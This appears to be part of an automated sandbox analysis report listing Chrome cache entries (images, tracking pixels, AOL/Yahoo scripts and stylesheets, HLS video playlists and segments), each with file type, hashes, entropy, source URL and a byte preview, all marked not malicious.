Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL.XX.XX.XX.FU.XX.WW.XXL\|..NV.XX.XX.WX.3S.XX.XX.TW.XX.XX.XX.XX.WW.XX.WX.XX.QW.XX.XX.WW./W..S.WW.XX.XX.XX.XX....XX.XX.XX.XX....XX.%P.XX.XX.'R.XX.'R.......)R....)S.&R.<U.VW.>V.XX.XX.CV.(R.,S.H].XX.'R.$O.KW.;T.XX.XX..........'R"Fe-Ml.:\.HV...............................T.WX/Sn.CU.'Rh}.4QqTk..DWj..Um..1U.4T9Ut.@U.X].5T`u.T...AX.OV....WX.XX....UX.....X./Y.R.8Tk...DV.=U.FV.......6^...[....T.PW....5T...Uk..BU....RW.YZ.9T..Rbv.....<U.?U...4Np.1S....:a....HV...0Jn.3S.KVv...,V#?es..AYy......MW.....n...........Ne.E\{,Fk.....Ch\|.'RQg....Ia.j}.................2Zey.......:StX..Yo....'ChX..c..>z}\..l..(no >c.]].J^~..M.........SY...9yzs...ff..............\|..{...AX9`u7sx\x.x...N`e..l.....!jkC..r...............Ktz............\x....`......OW...N{..........2[r...D?.;....tRNS...x..._...q.....h[......>.*q)...b...DT.;LI."WH.-"..yA.O.k...g.8N...e..J..........I.rUe6.. ....................................................................................

Chrome Cache Entry: 321

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.5257351171929923
Encrypted:	false
SSDEEP:	3:CUEIHh/:i4/
MD5:	13E1C7A2184E36D7AE519E99B1AA226F
SHA1:	355CCAD4EAC39838E1CC76FD0B670FD2EA1E5AA3
SHA-256:	48A33CA9F42B91902D57AD8AC52E1CE32B92C8C10C732F2DBB6FE960EBFD9438
SHA-512:	B1A6CFA7B21DBB0B281D241AF609F3BA7F3A63E5668095BBA912BF7CFD7F0320BAF7C3B0BFABD0F8609448F39902BAEB145BA7A2D8177FE22A6FCEA03DD29BE1
Malicious:	false
Reputation:	low
URL:	https://pr-bh.ybp.yahoo.com/sync/openx/bb892c0e-3763-ec08-d0f9-b15a85369a1f?gdpr=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 322

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17892)
Category:	downloaded
Size (bytes):	17927
Entropy (8bit):	5.223515347456616
Encrypted:	false
SSDEEP:	384:/X0ZQqhx1CU5hnihpT5fCC/XwlcCp1xCnYe:UQGCUSNfCrlcCFCP
MD5:	7EFB85C8F2CE352D58F47E0CD0D59453
SHA1:	43307BF4CD97DD4734D3EC585AEC1F4108DD8C4C
SHA-256:	219EC60C1193EF26D4C7B7ACF14EFAA4A94DCC07CE2D673E46694A235B5858EB
SHA-512:	706B9F17AAED263A1BC381041A56EAD7DABA08ECCE904F4FBD05B95AC6EF1E7D20A1A2C933B902E973D8C52E993031E56C06A218D32B07B0B1F5C31690CBE8F0
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/stream.7efb85c8f2ce352d.js
Preview:	!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],e):"object"==typeof exports?exports.CAAS_AOLCOM=e():t.CAAS_AOLCOM=e()}(self,(function(){return function(){var t,e={2127:function(t){var e=["img","link","meta","br","hr","input","iframe"],n=["svg","path","circle","rect","polygon","defs","linearGradient","stop","ellipse","text"],r=function(t,e){for(var n=!1,r=0;r<t.length;r+=1)if(t[r]===e){n=!0;break}return n},i=function(t){return null!==t},o=function(t){return t instanceof Node?t:"string"==typeof t\|\|"number"==typeof t?document.createTextNode(t):null},a=function(t,e){if("function"==typeof t)return t();if("string"!=typeof t)return null;for(var a=document.createDocumentFragment(),l=r(n,t)?document.createElementNS("http://www.w3.org/2000/svg",t):document.createElement(t),s=arguments.length,u=new Array(s>2?s-2:0),c=2;c<s;c++)u[c-2]=arguments[c];u.forEach((function(t){Array.isArray(t)?t.forEach((fun

Chrome Cache Entry: 323

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	"https://pagead2.googlesyndication.com/pcs/activeview?xai=AKAOjsumX3FChUi_fXHVlBojiiQElsvK-jQ9c4R5rcMgWWm05f0FkN6Yiv0T1aHrzRZTzZw6FPz9ZzqHsg6IE9E9553UdvFgxjXH4j04K2yo7HNfPvlRj1dKk9GobwutkaQPXdv7CrRGYcQ1kjvQ1y3pJcicuB3NDJ8Fx4SOn0VXaA&sig=Cg0ArKJSzDKO07L8QhfMEAE&id=lidar2&mcvt=1004&p=120,855,374,1155&mtos=0,1004,1004,1004,1004&tos=0,1004,0,0,0&v=20240522&bin=7&avms=nio&bs=0,0&mc=0.98&if=1&vu=1&app=0&itpl=19&adk=3976696149&rs=4&la=0&cr=0&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzQiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTM0Il0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzQiXV0sMF0%3D&vs=4&r=v&co=1243651400&rst=1716503706242&rpt=9759&isd=0&lsd=0&met=mue&wmsd=0&pbe=0&fle=0&vae=0&spb=0&sfl=0&ffslot=0&reach=8&io2=14"
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 324

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CU9yltxlHh/:m/
MD5:	DF3E567D6F16D040326C7A0EA29A4F41
SHA1:	EA7DF583983133B62712B5E73BFFBCD45CC53736
SHA-256:	548F2D6F4D0D820C6C5FFBEFFCBD7F0E73193E2932EEFE542ACCC84762DEEC87
SHA-512:	B2CA25A3311DC42942E046EB1A27038B71D689925B7D6B3EBB4D7CD2C7B9A0C7DE3D10175790AC060DC3F8ACF3C1708C336626BE06879097F4D0ECAA7F567041
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 325

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	2169
Entropy (8bit):	7.545769153313181
Encrypted:	false
SSDEEP:	48:UYidb2d/MqALfYZFs3jGOYmHoBZybWFBiFi3PRTSCJCHncW5r2fPqk6:Ul2uxjIs3SOYvZyxifRQncWd2fPC
MD5:	1B92903762466100340083C301A95DB7
SHA1:	C815C954F5C0F2891BDA5D8DA465DF8FADD5537E
SHA-256:	1783806348CAE7654CAADB442C3E1E64280554F1A18F1492C4E705E0AB13F458
SHA-512:	A75486A2BC9522B138D735E5F1E4CA93EFFF1F44DD7AED7804F19E6438C69CCE10C07336E9B2990F4E5F1BB2F583EF70B9D8EA5A2888FD84BFA6BD12DC8D25BB
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2Fuf3lXihrOQmBeoYkwwc9Aw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190314%2F500x500%2Forioles_wbg.png&client=76f99bdb8f78cd44cc0b&signature=458c85b0633896610d7e3d8d0612912638fe16df
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL..............................................9'............................................................................................................................................9'.....9'.9'......9'..........9'.9'....................................................F.............u%....]......I..E..C..U.'...A.p#....:..,....D...m"..P..B..=..M..}L.D....E..(..F..1.....W..O...].d*..K..$...5.@..i!.....<.=..c..T..H...>..c./.....uA.G.N.....U...Y..4..7.8...;.{{{.2..+..WB...?.1...3..Q.).C...lr$.4...4....8.Q.....q.k....n8.6..zH.p:.8.E...@.Z.......6...._...-...@.......T.....@..uBCCC.=...\.bbb]]]...,,,OOO.^".ha...........$$$.h0.v......jjj......f ................/...{"""._$...-...wD......tttuuu...???....{'.....hhh.......^]$...^tRNS....o.~.. W`?..[}.f/.c....<..H..6.slQ..#3.].w...8..J.....C.......S.+.........F...L...$.&....IDAT.....T.w...?y)A.svw.{n...n_......n.;0.[...:.]g.......<.?.5.......,<...g.

Chrome Cache Entry: 326

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.5257351171929923
Encrypted:	false
SSDEEP:	3:CUEIHh/:i4/
MD5:	13E1C7A2184E36D7AE519E99B1AA226F
SHA1:	355CCAD4EAC39838E1CC76FD0B670FD2EA1E5AA3
SHA-256:	48A33CA9F42B91902D57AD8AC52E1CE32B92C8C10C732F2DBB6FE960EBFD9438
SHA-512:	B1A6CFA7B21DBB0B281D241AF609F3BA7F3A63E5668095BBA912BF7CFD7F0320BAF7C3B0BFABD0F8609448F39902BAEB145BA7A2D8177FE22A6FCEA03DD29BE1
Malicious:	false
Reputation:	low
URL:	https://pr-bh.ybp.yahoo.com/sync/pubmatic/BD0DE19C-09D4-4B62-A188-46A0D2E6C177?gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 327

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 328

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5790)
Category:	downloaded
Size (bytes):	5842
Entropy (8bit):	4.929129626952789
Encrypted:	false
SSDEEP:	96:KXjI12CssANhBMZ4EsrwxDOT1fq5JfKsFD0QXcMl4:im2C0GZ4EsrsDYpqPddcMl4
MD5:	AE48C4E59D83A951D7DB7987CEAFA23B
SHA1:	0B239D971E2BD334E53A387FB4B77F2B30E575C1
SHA-256:	7513AF8971949C946C0968BBACC0B43F0C2227412CC4587D11D3D4EC1ECD16E8
SHA-512:	A527C4440A9DB6BD43A5D27F4AC292E7EF7614F802A800AD76500795CBC52DFD694E9ED6BF9646CCADDADB879365353D10BA810344FE6E1A19E57778BA526568
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/notification_banner.ae48c4e59d83a951.css
Preview:	.m-notification-banner__content,.m-notification-banner__lbl,.m-notification-banner__more-lbl{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:end;-ms-flex-align:end;align-items:flex-end}.aol-notification-banner{background-color:#0f69ff;color:#fff;font-family:_OpenSans,OpenSans,Helvetica Neue,helvetica,arial,sans-serif;height:0;margin-left:0;overflow:hidden;padding:0;text-align:left;-webkit-transition:height .6s cubic-bezier(.23,1,.32,1);transition:height .6s cubic-bezier(.23,1,.32,1);width:auto}.aol-notification-banner.banner-shown{display:block;height:70px;margin-bottom:30px}@media screen and (max-width:480px){.aol-notification-banner.banner-shown{margin-bottom:20px}}.aol-notification-banner .flex-wrap{height:70px}.aol-notification-banner .flex-wrap,.aol-notification-banner a{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:nowrap;flex-wrap:nowrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.aol-notification-banner a{text-d

Chrome Cache Entry: 329

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4616), with no line terminators
Category:	downloaded
Size (bytes):	4616
Entropy (8bit):	5.101866745664265
Encrypted:	false
SSDEEP:	96:3hxG18jgjq1Yrww/HrUeYqN5jlcyI0WOmEVq1krctes4CJH:3ku6woHHN59I0bVuujW
MD5:	9390416F18E2D244487267F89AFFAB32
SHA1:	A7C02ED45A9A7737A6C62FC7690B1774B29E27AF
SHA-256:	5F86EC9907F6433F430F9CAA406D5244809B9623F8EBAC90868AE331775438C5
SHA-512:	A69408CF71A48988C016FDA79A0A9312CB3066CF727DD10C8B87DC99AFE5C9E03FBE72CA17EB5489534902A6C2E23D9383C70BD46AEC233D0D15A0326FF528FC
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-module-2.0.0.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-module",[],t):"object"==typeof exports?exports["wafer-module"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-module"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(o){if(r[o])return r[o].exports;var n=r[o]={i:o,l:!1,exports:{}};return e[o].call(n.exports,n,n.exports,t),n.l=!0,n.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,o){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:o})},t.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(r,"a",r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/base.js":function(e,t,r){"use strict";function o(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}funct

Chrome Cache Entry: 330

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	701
Entropy (8bit):	5.006215040397712
Encrypted:	false
SSDEEP:	12:S0or1vH1WbDQZ14O2XfIY0YtSTs5XoK/alrr3QUcXfKBMbv3V7aJxKAtfQ8avvIP:SByDQZqPoYcT4barrXcGMb1JJ4yGa1UH
MD5:	0207FB58BFD0359F586C29F0A0BC8A9B
SHA1:	979CEC1FAD3743DAB174976E206D50514B9473E8
SHA-256:	E2EED35B0DA9BC620DA675306ECD19E519B434A3F63C82F57232C4A3215A39BD
SHA-512:	89F6417A7CF5CEA2612C08E2084C155A3B97A264010658EAC1C5C69F48368F59DE67AE5789C3466A1CC7C8790CC9E546567E09ADBC7503CA4D16C3BA0248FB7B
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aa/templates/widget/bgImageStickyFooter/main.css
Preview:	@charset "UTF-8";.body {..margin: 0;..overflow: hidden;.}..bg-image {..width: 100%;..vertical-align: middle;.}..cta-container {..display: inline-block;..border: 1px solid #ccc;..position: relative;.}.img[src=""] {..display: none;.}.div#Content_Region {..text-align: center;.}..close-button {..position: absolute; ..top: 8px; ..right: 8px; ..cursor: pointer; ..stroke-width: 1; ..background: none; ..border: none; ..padding: 4px;..z-index: 3;.}..close-button svg {..width: 14px;..height: 14px;..display: block;.}..close-button--dark {..stroke: #000; .}..close-button--light {..stroke: rgb(199, 205, 210); .}..close-button:hover {. stroke: #888;.}..cta-container--border-none {. border: none; .}

Chrome Cache Entry: 331

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	M3U playlist, ASCII text, with very long lines (893)
Category:	downloaded
Size (bytes):	6637
Entropy (8bit):	5.203505236805055
Encrypted:	false
SSDEEP:	96:OftcjCAmZEhEnEEEnE/EnE6EnEdEnEgEnE7EnEmEnEJEnEsEnEKEaEPEB:wXAmG+EXEsEtEKEDE4EpE2EPE9N8B
MD5:	27981404CDAF1E98C4498B6931BB63B4
SHA1:	1C35A2C5CA07D147FC98576C310E90858D4F26AC
SHA-256:	03F4F62C6F38DAD16F2542D59BB6A6DBD4B3F763A1103412A690B39FF15653E4
SHA-512:	51711AC7D29913719F053E5EE024C9AF5E42E1D88472D8EBCA73201C730B8C0F61B82C9D6CDAEE91528F84949E07ACDDA02829C4BBEA18F31A62F2D6A9DD026C
Malicious:	false
Reputation:	low
URL:	https://manifest.prod.boltdns.net/manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/31dfb5f1-e2d4-438a-b603-18ca93689641/6s/rendition.m3u8?fastly_token=NjY1MDFjYzRfYzRlOTJhOTYwYWMzMDhmODg3MDk3NWU5ZGI2Njg1ODQ2YjU2N2Y5ZDhmYzkwZWI4NDRiYTgwZjJmMDY1NWZiNg%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w
Preview:	#EXTM3U.#EXT-X-VERSION:3.#EXT-X-KEY:METHOD=AES-128,URI="https://manifest.prod.boltdns.net/license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjZDhfNjg3MWY1ZTc1M2I3NDJhN2FkM2Q4MzNkZWYzNTA4NTYwYWI1MTM0NjI5NjY2ODVjNzEyMzhkODkzMjI2YWViZg%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w",IV=0x667a979a2ed802eac07ad1a5152a525e.#EXT-X-PLAYLIST-TYPE:VOD.#EXT-X-MEDIA-SEQUENCE:0.#EXT-X-TARGETDURATION:6.#EXTINF:

Chrome Cache Entry: 332

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CU9yltxlHh/:m/
MD5:	DF3E567D6F16D040326C7A0EA29A4F41
SHA1:	EA7DF583983133B62712B5E73BFFBCD45CC53736
SHA-256:	548F2D6F4D0D820C6C5FFBEFFCBD7F0E73193E2932EEFE542ACCC84762DEEC87
SHA-512:	B2CA25A3311DC42942E046EB1A27038B71D689925B7D6B3EBB4D7CD2C7B9A0C7DE3D10175790AC060DC3F8ACF3C1708C336626BE06879097F4D0ECAA7F567041
Malicious:	false
Reputation:	low
URL:	https://ads.yieldmo.com/v000/sync?userid=9165965397510453586&pn_id=an
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 333

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.5257351171929923
Encrypted:	false
SSDEEP:	3:CUEIHh/:i4/
MD5:	13E1C7A2184E36D7AE519E99B1AA226F
SHA1:	355CCAD4EAC39838E1CC76FD0B670FD2EA1E5AA3
SHA-256:	48A33CA9F42B91902D57AD8AC52E1CE32B92C8C10C732F2DBB6FE960EBFD9438
SHA-512:	B1A6CFA7B21DBB0B281D241AF609F3BA7F3A63E5668095BBA912BF7CFD7F0320BAF7C3B0BFABD0F8609448F39902BAEB145BA7A2D8177FE22A6FCEA03DD29BE1
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 334

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
URL:	https://pbs.yahoo.com/setuid?bidder=zeta_global_ssp&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=ua-d3a5a567-89dd-33ed-be20-40cbb3087081
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 335

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "Lavc60.3.100", baseline, precision 8, 480x270, components 3
Category:	downloaded
Size (bytes):	17518
Entropy (8bit):	7.963139275627194
Encrypted:	false
SSDEEP:	384:Sn4co+ZTFad91NSinMC84/4M9PNsuCQmPvMvx8ps:/CFad5SiU4/pOuCQmPUx8i
MD5:	FA303357ADA6EF35F0D0B371B2381B2B
SHA1:	3E1E04C73D58154D74FB4826346C64D7B3E8A52C
SHA-256:	22F45F559677E8EC50C39DAE3EC0906F81B14E446A82BFD8892950CB735654B0
SHA-512:	E99D9932E750E3AFDFB0B9E8227AEF70A75BDA3F2EAF69BFCD8C13E87FF516B8F710FF827BCA074E730C2D422A53EB7C5BECC9A67EEAB8C5CC6E87286208CD7B
Malicious:	false
Reputation:	low
URL:	https://bcbolt446c5271-a.akamaihd.net/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/30s/match/image.jpeg?akamai_token=exp=1716516983~acl=/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/30s/match/image.jpeg*~hmac=378266e02c55f91c5b4386edba105cd84c06a36a48f7ac26594800874fb41156
Preview:	......JFIF..............Lavc60.3.100...C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************..........."........................................B.........................!.1."AQ.2aq.B...#3R...$Cbs.Sr..45.6c..................................)......................!.1.A."Q2.#q.BRa.............?.8`..Xo.6..=....7}.b...l.Q.....;...p>P[.S[.......X.k;$.#(.y.?"=Ge.....P.z...BUO.qW.].X,..n...G&.. .h..s....n...,......l...y1C...I..8.M.^.^M.q.......U....m>..........--..i..3..h.KN[.6..\|..U...6.J...R....Q..8Br....q......6..XJ.!rN....:3}...nF...Sf.4.l..b..x.5.c.....{2.........D=9..,8.p.....mt..L..m-W..v...l....y.h...B;....{..b[..w..~..(....U..`. y.Tw.E...MM.U.#.k.M...G.\....x..v.#..Fx......&V-Q....S.22.....X.8.m..\...B.o.r9j.g=..w....@.q..).@.z.w...>..a..u..\|3....p..e.c.t.j.."....m.....M.5 c..s........B...W.=.7o?5D......;.XT.dw..`E.qU.c#.]..L..\|9.N*..[>a^.^....r...X,NjB.cBk

Chrome Cache Entry: 336

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	108672
Entropy (8bit):	7.998125162538697
Encrypted:	true
SSDEEP:	3072:x48DJb5i5/CAbOW4VcMmu48RhxV3d2Cq0wHlr3Lr4bIh:bJb05jDdJmh/RqvLUUh
MD5:	87C42A1BFD0DEC33C1F94F93384DC98F
SHA1:	92D38B6EDB4158E1B07158B78FDC3CFC54B61450
SHA-256:	407669748E04A9C04B8425BD3238B46FE997B598C148CDF19191EFF6873DD96C
SHA-512:	982ADDBA3B2C1472E9D610574C84ABBDCF71B74B87D00415D4F0A4364674EDFB4333C172095471C64AFAB83B34AF1D353AE574226F5D40514E2E388FB49EEFAB
Malicious:	false
Reputation:	low
URL:	https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/8b2017e3-8e45-48ae-a820-feeb718d77f3/04cd0196-5ce1-4316-ad15-e975ff605a08/3x/segment0.ts?akamai_token=exp=1716526294~acl=/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/8b2017e3-8e45-48ae-a820-feeb718d77f3/04cd0196-5ce1-4316-ad15-e975ff605a08/*~hmac=2a76813be8cab3160aea84f7c25e8e0de753b7ac1eee4fd480eeb019ca8ad1dd
Preview:	{.......{4..ZzTa[.....9..<.`..w7W....q2.P.......F2.iwu);"........;.....+.@....m.%.}.2....R'.i.K...C....!...~1.B.+{..5.~a...L.Uk.\|.X....7l..Sw...~./.#......b.z...J.>...>..>..LY(_/.....J8.8Z._Oh........B.....>.....iQ..WCO.]2..V]=.....~..!Z..Q.e@........X..>-..ct.....M....%..o.wB.P...B.mVb...8..@.$........A=.....y..j<...zC.....,.Rdbjg./ach....Q.q.....Na..K...v.eT.....kg...%..?0.^t...`.....zI"...+....C..\|D....{....C...~Y07..o...p;.0.}........N.w........J\.=.DY5.&j..J.<]..q..n.._.N.M>......T....d.p.Qd...3Y{...I.A.Be.b_.Fsh.-...M....q..^`1{;BT..}~..0.6........X..y../.......J.x..(CB.s.-...G@.J.%..2A./_.....p~.........Xg...m.b9.~......k...C......u...x..w.h.^..%..yO.8.t.....f.q .Y.~.AL..9n-..c?..Rw.UZ..Ojg.T.mN,.y..%.lD.>......D.+!JU..,.....R..L.".......! ..S.......+Z..V4.......vPKPg.Oy..b......#.,.y~..K}M$.K.....J.Y...B.K..Z..)n.,9.`B.....Yi.\z<..M=9_.J..........L...b..l.,X<1.8...F..)I.k.L#k..M.@c0.Z'i.=ky.+.f.&I..G]....PZ.2YV.K.

Chrome Cache Entry: 337

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	M3U playlist, ASCII text, with very long lines (375)
Category:	downloaded
Size (bytes):	1289
Entropy (8bit):	5.152403646915511
Encrypted:	false
SSDEEP:	24:OfvSv6uGoxv6uUAr9vMSv6uGhxv6uUAr9vNRUSv6uGCxv6uUAr9va:OfvduGfuUrduGyuUJduGtuUh
MD5:	CA37665E5417C111A1044D534D65B067
SHA1:	2022437775FBD573C756354DD48D09528DB2FD20
SHA-256:	A4B58E5140B3C761514D639DCE31DC4F5DA001683F456FB6887C47BA5FA1BBE9
SHA-512:	45B7ABC8C38978419D64C93DC3686226DF068D1E117DF03F15A0A3A55F6FB51C80B86705F91194D7265AC77F4D5F7DCF59D0D297D7D6D58DA2E500391A40A3A2
Malicious:	false
Reputation:	low
URL:	https://manifest.prod.boltdns.net/manifest/v1/hls/v4/clear/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/6eb6a5d3-aaa5-49bf-bfcb-687bb8b31f8c/rendition.m3u8?fastly_token=NjY1MDFjYzRfZDFmZTEwNjVjNjRhZTdjYzBiNjg3ZWRkMGFiYWZlZjZhNjEyZmNjNDFiMTg4ZjE1MGI2OWFhNWJiYzY5NTI0Zg%3D%3D
